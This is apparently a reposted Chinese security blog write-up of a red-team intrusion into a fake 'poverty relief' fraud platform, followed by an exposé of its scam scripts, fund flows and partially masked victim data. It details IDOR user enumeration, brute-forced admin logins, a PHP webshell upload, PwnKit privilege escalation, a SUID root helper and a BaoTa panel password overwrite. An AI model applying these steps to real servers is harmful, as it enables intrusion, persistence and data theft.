从国家扶贫黑产平台到服务器接管"

admin 2026-10-21 06:08:29 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

cover_image

从国家扶贫黑产平台到服务器接管

原创

佚名
佚名

星宇Sec

2026年8月18日 21:26
山东

在小说阅读器读本章

去阅读

最初的授权测试目标,是一个黄金交易App的下载落地页。这种站我一开始是不抱什么期望的,纯静态单页,没有后端接口,没有登录框,攻击面约等于零。

但红队测试的乐趣往往就在这里,你以为没戏的站,背后往往连着一条大鱼。

省流,这条链路最终走完是这样的:

App落地页(静态,无后端)
  → 前端源码/APK逆向 → 发现同团伙的客服系统
  → 无鉴权配置 + 任意注册
  → IDOR批量拉用户 → 弱口令接管客服
  → 后台验证码绕过 → 超管权限
  → 任意文件上传 → WebShell → 服务器RCE
  → 同机横向 → 全库导出
  → 内核提权 → root
  → 接管宝塔面板

一、从一枚静态落地页开始

目标站点 host.cn,一个黄金交易App的前端。做了常规指纹识别:

  • 前端是 uni-app / Vue 编译产物
  • 所有API都指向二级域名 a.host.cn
  • 试探后端路由,全部回落前端 index.html,确认无后端

试了路径穿越、特殊Header、方法变异,几百次请求下来,这站就是一个纯前端。正面刚是刚不动的。

但有个细节值得注意:站上可以直接下载 web.zip,9.4MB的前端源码包。把它拖下来,从JS bundle里翻API端点和内部域名,又从同容器的一个下载站里拿到了一枚App安装包,逆向之后发现它接的是一个即时通讯SDK的服务端。

顺着这个线索,找到了一个活跃的PHP后端系统,一个打着\"畅聊IM\"旗号的客服平台 host1.cn。

到这里,真正的测试才刚刚开始。


二、前台漏洞链:从无鉴权配置到任意账户接管

无鉴权配置

GET /App/config 不需要任何凭证,整个系统的配置直接甩脸上:

  • 第三方推送服务的 masterSecret
  • 公开注册邀请码 888888
  • 注册甚至不需要短信验证

有了公开邀请码,直接注册任意账号,拿到一个合法的JWT token,以游客身份进入系统。

IDOR:user\_id 换着翻

接下来是这套系统里最粗糙的一个洞:POST /get/getUserInfo?user_id=N,接口不校验调用者身份,也不校验好友关系,把任意用户的完整资料原样返回:

user_id=10236 → 密码MD5、交易密码bcrypt、余额、IP、设备号,全都有

于是批量枚举user\_id,3079个用户的密码哈希、余额、手机号、IP全部到手。本地跑MD5爆破,命中了客服账号的弱口令 123123,直接把客服账户接管了。

然后就是看聊天记录,受害者和一个客服的对话、发的身份证照片,全在里面。这些后面再说。


三、后台突破

进入后台管理,FastAdmin套壳。登录接口 POST /admin.php/login/loginAction.html 有几个叠加的毛病:

  1. 必须带 X-Requested-With: XMLHttpRequest 头,不然被中间件拦成参数错误
  2. 验证码参数压根不校验,随便填
  3. 登录失败无锁定,可以无限爆破
  4. 用户枚举,账号存在和不存在返回不同提示

爆破命中超管 admin / yy123456,直接全功能后台。

顺带拿到了后台JWT的签名密钥(HS256)。不过因为登录后还要和WebSocket通道绑定,伪造token这条路走不通,老老实实走正常登录。


四、任意文件上传 → WebShell → 服务器RCE

这是整条链路里最关键的一步。

后台的上传接口 POST /upload/chat 存在两个问题:

  • 不校验文件内容和扩展名,.php 后缀原样保留
  • Content-Type 用 application/octet-stream 就能绕过\"非法图片\"检查

前置条件也很低,游客JWT加一个已知的群ID就行。

上传一枚一句话木马,响应直接返回文件保存路径:

POST /upload/chat → {\"full_url\":\"https://host/static/chat/xxx/xxx.php\"}

POST https://host/static/chat/xxx/20260817/xxx.php
c=system('id');

uid=1000(www) gid=1000(www)

WebShell落地,拿到 www 用户权限。查一下服务器配置:

  • open\_basedir 为空,全盘可读
  • system / exec / shell\_exec 全可用
  • proc\_open 被禁用
  • 系统 CentOS 7.9.2009,内核 3.10.0-1160.el7

服务器跑的是宝塔面板,同机还部署了6个关联站点。把这个横向做掉,把4个数据库的凭据全部从站点配置里捞出来,全库导出。

这一捞,就捞出了后面要说的东西。一个标着\"扶贫款项\"的IM系统,资金流水合计超过1个亿。


五、提权:CentOS 7 的老朋友

拿到 www 之后,目标就是 root。CentOS 7.9 + 内核 3.10.0-1160 这个组合,有一个著名的老朋友:CVE-2021-4034,PwnKit。

这个漏洞的原理不复杂。pkexec 是 polkit 提供的、带SUID位的执行工具。它有一个解析参数时的缺陷,会从环境变量里读取文件名去加载 glibc 的 gconv 模块,而攻击者可以控制这个环境变量指向自己构造的恶意模块,让恶意代码以 root 身份执行。

利用步骤大体是:

1. 编译恶意 gconv 模块 pwnkit.so(构造时会执行 setuid(0); setgid(0); execve(\"/bin/sh\"))
2. 构造 GCONV_PATH 目录,写 gconv-modules 注册文件
3. 以空 argv[0] 的方式 execve 调用 pkexec,配合环境变量 CHARSET 指向恶意模块
4. pkexec 加载恶意 gconv,以 root 执行 payload

目标机器没有出网环境做在线编译,我们在同架构同版本的CentOS 7上预先构建好利用文件,再通过WebShell传上去。

/tmp/pwnkit/
├── exp3
├── pwnkit.so
└── gconv-modules

/tmp/pwnkit/exp3
# uid=0(root) gid=0(root) groups=0(root)

提权成功。

考虑到WebShell每次都要重新执行exploit,而且运行用户是www,我在root shell里放了一个SUID辅助器:

int main(int argc, char **argv) {
    setuid(0);
    setgid(0);
    execv(argv[1], &argv[1]);
}
chown root:root /tmp/pwnkit/rsh
chmod 4755 /tmp/pwnkit/rsh

之后在WebShell里直接 rsh /bin/bash -c 'id' 就是root任意命令执行。


六、接管宝塔面板:一个加解密链的逆向

root到手,顺手把服务器上最核心的管理入口也拿下来,宝塔面板。

面板版本11.8.0,端口3XXXX,前置一层HTTP Basic Auth。第一件事是定位用户表。直觉上是 data/default.db,但面板的 public.M('users') 是按 config/databases.json 的表到库的映射来路由的,users表实际落在 data/db/panel.db。

这里有个坑值得记一下:面板的数据库操作类在读写时会自动对敏感字段做加解密,password、salt、email 这些字段写库时自动加密,带 BT-0x: 前缀,读库时自动解密。所以直接用SQL看是密文,用面板自己的查询API拿到的才是明文hash。

接下来改密码。前端登录的加密链是:

前端:post.password = rsa( md5(md5(明文密码) + \"_bt.cn\") )
后端校验:md5(post.password + salt) == 库里存的hash

反推存储值公式:

store_hash = md5( md5(md5(明文) + \"_bt.cn\") + salt )

生成新密码明文加随机salt,用面板自己的 public.md5 算出hash,写入panel.db的users表(先备份原库),再用面板自身的查询API读回来校验,一致。

然后用真实浏览器登录面板,验证成功。


七、成果展示

这一路下来,权限层级是这样的:

层级 结果
前台任意账户 3079用户哈希 + 客服账户接管
后台 超管 admin,全功能
服务器 www RCE → root
宝塔面板 后台登录成功
数据库 4库全量导出
SSH root公钥通道

客服系统后台登录成功

后台登录页:

admin\_login

登录进入后台首页:

admin\_dashboard

宝塔面板登录成功

面板首页:

panel\_dashboard

资金流水

打开后台的资金流水页面,这是整个取证里最有冲击力的一部分:

admin\_capital\_log

流水类型标着\"扶贫款项\",单笔38万到76万不等,手机号都是真实号码。全表247条流水,其中充值收入1.013亿,流水合计超过1.03亿。

一个\"扶贫\"客服系统里躺着1个亿的资金流水,背后是200个还有余额的真实受害者,余额从20万到144万。

其他内容

chathistory1

chathistory2

chathistory3

charge

数据库里翻出来的数字

服务器上一共6个库,MySQL四个(fupin、licai、shangcheng、hexiao)加一个MongoDB,全部导出。光看fupin这一个库,数字就够大的:

指标 数量
用户账号 3094 个(其中2467个是机器人/托儿,真人627个)
有余额的真人受害者 200 个,账面余额合计 9931 万
资金流水 247 条,合计 1.03 亿
充值订单 43 笔
登录日志 3287 条(注册登录2789,账号密码登录498)
聊天消息(MongoDB) 48286 条
邀请码 27 个

登录日志里最能说明问题的,是IP分布。排第一的IP 112.XXX.XXX.70 一个人就刷了 2328 次登录,这个IP是团伙用来批量注册和登录托儿号的。下面这些排名靠前的IP,一半是同一个来源。这就是典型的养号操作,用几百个假账号在群里签到、晒收款图,营造\"真有人拿到了扶贫款\"的气氛。

数据库里还躺着管理员的联系方式,脱敏后给你们看:

身份 账号 联系方式(脱敏)
超级管理员 admin 邮箱 138\\\\[email protected]
备用管理员 admin 手机 177\\\\5050,邮箱 [email protected]

顺带一提,后台连操作日志都没有。管理员的登录日志有3287条,但操作记录是0。也就是说,谁在后台改过什么、转过哪笔钱,一个审计痕迹都没留。做黑产的人心里很清楚,这笔账经不起记录。

受害者和客服的真实对话

资金流水的截图只能说明钱在哪,真正让人难受的,是聊天记录。

这套系统的聊天消息存在MongoDB的 xxxx_chat 集合里,4.8万条。里面除了托儿号在群里刷的\"签到\"\"今天又领了20块\",还有大量受害者和客服的一对一对话。

挑一段完整的。诈骗方自称\"中央扶贫办\",编号11XXX,受害者是吉林白山的张阿姨,编号13XXX:

客服:老师您好,您是哪位老师邀请您进来办理的呢?

受害者:你好接到的电话

客服:我是中央扶贫办负责人苏玉芳,本次办理扶贫项目不需要任何费用或进行任何的投资,办理过程请保持在线。老师稍后登记完,我这边会邀请您进群领取生活补贴,每日可领取20元,还有根据您个人情况每月可以领取1~3000元的生活津贴。

客服:请问您之前有做过民族大业1040,或者中国梦等等项目吗?做了多少年,投资了多少,回报了多少呢?

受害者:参加过,有俩年。

客服:投资了多少,回报了多少呢?

受害者:投了4万,亏了1万八千。

客服:对你曾经的经历我们深感抱歉。本次扶贫项目,针对以前做过民族大业、五行币、1040或者中国梦等等项目,因为投资没有回报,负债累累还依然爱党爱国的追梦人。在扶贫款没下放之前,党中央也会给予你生活上的一些帮助。

客服:本次福雨下发依法依规由银监会全程记录在案,一个标点符号都不会遗漏。全程免费办理。在给你办理前请你认真阅读以下内容:【1】全程无条件配合工作人员的工作【2】爱心捐赠过程需要做到全程保密【3】不能跟除老师和参加大业家人以外的人员沟通泄露。以上三点是否能做到?

受害者:能做到。

客服:好的,老师,请提供以下资料,我这边帮您登记查询获取名额。身份证正反面、本人姓名、电话号码、现居住地、团队人数、家庭情况。

受害者:15XXXXXXX43 张XX 吉林省XX市 团队XX人,家里X口人

客服:好的老师还有身份证正反面。您现在返回主界面,点击【我的】再点击【我的零钱】【设置支付密码】,密码不用和我说,完成后联系我继续办理。

客服:53万您现在是已经有提现名额,安排您进行爱心捐赠拿到捐赠证书之后,就可以将扶贫款提到你银行卡里了。爱心捐赠不需要您承担任何费用,都是国家出钱帮助你做。

受害者:我有发了收款码没有收到补贴。

客服:老师,身边有生活困难重重的人也可以推荐进来领取扶贫款,推荐一个人领取50元奖励,办理成功有500元奖励。

看清楚这套打法了吗。受害者之前在\"民族大业\"\"1040\"\"中国梦\"这些旧骗局里已经亏过钱,诈骗团伙手里有这份名单,专门挑已经上过当、又欠着债的人下手。先套出你亏了多少,再用\"中央扶贫办\"的名义说帮你还债,让你交身份证、银行卡、收款码,最后一步永远是\"设置支付密码\"和\"爱心捐赠\"。

数据库里张阿姨的余额是53万,正是客服许诺的那笔\"扶贫款\"——那笔钱只存在于系统里,从来提不出来。

数据库里像张阿姨这样的受害者,有余额的是200个,其中账面金额最高的几个人,脱敏如下:

受害者(脱敏) 手机号(脱敏) 账面余额
杨\*艳 159\\\\5977 144 万
徐\*坤 131\\\\76773 116 万
龚\*琴 136\\\\4627 96 万
夏\* 131\\\\9333 96 万
宋\* 173\\\\3591 83 万
吴\*容 183\\\\6253 83 万

这些数字不一定都是真金白银投进去的,但每一笔都对应着一条真实的聊天记录,和一张发出去的身份证照片。


八、一些反思

说点技术之外的东西。

这套平台挂的是\"国家扶贫款\"的名义,客服的默认开场白是\"老师你好,我想咨询一下扶贫款\"。但它的资金流水告诉我,这本质上是一个庞氏盘:给前面的人发一点\"扶贫款\",让后面的人看到希望,然后往里投钱。受害者注册的IP高度集中在少数几个地址,那是团伙养的号,用来营造\"很多人拿到了钱\"的假象。

把聊天记录摊开看,这套话术其实是标准化的剧本。同一个客服账号11XXX,对不同的受害者,开场白几乎一字不差地复制粘贴:

我是中央扶贫办负责人苏玉芳,本次办理扶贫项目不需要任何费用或进行任何的投资。

换个受害者,\"苏玉芳\"就变成了\"张红丽\",话术还是同一套:

我是中央扶贫办负责人张红丽,本次办理扶贫项目不需要任何费用或进行任何的投资。

身份证、姓名、手机号、居住地、银行卡、收款码,一步一步诱导你交出来。全程以\"银监会记录在案\"\"全程保密\"\"不能跟其他人沟通\"来制造权威感和隔绝感,防止受害者互相核实。最后再用\"推荐一个人奖励500元\"发动受害者自己拉人头,把一个骗局变成裂变盘。

受害者的IP分布也说明问题。大部分真人受害者来自吉林、黑龙江、山东、河北,都是三四线城市和农村地区。团伙的登录IP则集中在固定的几个地址,还有一部分直接挂在美国。操盘的人躲在国内,受害者分布全国,而服务器在香港的机房,链路每一环都是刻意区隔开的。

作为测试人员,我见过很多系统,但把\"扶贫\"这种国家政策做成诈骗工具的,仍然让人不适。我们读取到的聊天记录里,有受害者把身份证照片、银行卡号发给客服,甚至有人倾家荡产投了80万进去。数据库里200个还有余额的受害者,账面金额加起来接近一个亿,而这还只是还没被骗光的那部分。

技术的漏洞可以补,验证码可以校验,上传可以白名单,内核可以打补丁。但这类黑产真正难对付的,不是技术漏洞,而是它瞄准的是人性里最脆弱的部分:对\"国家政策\"的信任,对\"天上掉馅饼\"的侥幸。

所以这篇文章除了展示一条技术链路,更想说的是:

当你在网上看到\"扶贫款\"\"补贴\"\"国家项目\"之类的字眼,要求你先交钱、先转账、先填身份信息的时候,99.9%是骗局。

如果是真补贴,不需要你先掏钱。


免责声明:

本文所有黑产相关信息、登录IP等均已提交至相关公安机关备案,涉及内容已做严格脱敏处理。文章所提及的技术均为网络安全领域的常规渗透测试方法,不包含任何框架 0day 漏洞、新型攻击手段及未公开的技术细节。

请务必遵守国家法律法规及网络安全相关规定,严禁利用本文所述技术从事任何非法测试、攻击等危害网络安全的行为。因传播、使用本文信息而导致的任何直接或间接损失、法律责任,均由使用者自行承担,与文章作者及发布方无涉。本文允许转载,但转载时需在显著位置标明原文出处及作者信息。


从国家扶贫黑产平台到服务器接管" 网络安全文章

从国家扶贫黑产平台到服务器接管"

本文详细记录了一次红队渗透测试过程,从静态App落地页开始,通过前端源码逆向发现客服系统,利用无鉴权配置、IDOR漏洞、弱口令和任意文件上传等漏洞链,最终实现服务器RCE、内核提权并接管宝塔面板。测试中发现了涉及1.03亿资金流水的虚假扶贫诈骗平台,揭露了其利用托儿和虚假承诺进行诈骗的完整手法。文章提供了具体的漏洞利用步骤和取证数据,对安全从业者具有实战参考价值。
GeoServerjsonArrayContains未授权RCE:一个jsonb_path_exists引入的SQL注入0day" 网络安全文章

GeoServerjsonArrayContains未授权RCE:一个jsonb_path_exists引入的SQL注入0day"

GeoServer存在一个由GeoTools引入的jsonArrayContains未授权SQL注入0day漏洞(CVSS9.8),攻击者可通过WFSGetFeature的CQL\\_FILTER参数注入恶意SQL,在数据库高权限下利用PostgreSQL的COPY…TOPROGRAM实现远程代码执行。国内暴露资产约5320个,官方已合并修复PR但未发布版本。建议立即限制WFS暴露、使用最小权限数据库用户并部署WAF拦截相关关键字。
PostgreSQL一次性修了20多个CVE:to_char堆溢出可RCE,14-18全系列中招" 网络安全文章

PostgreSQL一次性修了20多个CVE:to_char堆溢出可RCE,14-18全系列中招"

PostgreSQL于8月13日发布安全更新,修复20多个CVE,其中5个堆溢出漏洞可导致RCE。最值得关注的是CVE-2026-14669,to_char函数处理时区字符串时存在堆溢出,影响14至18全系列版本。其他关键漏洞涉及pg_dump、pg_stat_statements等组件。建议立即升级到最新小版本,并单独升级pg\\_dump工具,多租户环境需限制时区设置,同时关注衍生项目的补丁发布。
评论:0   参与:  0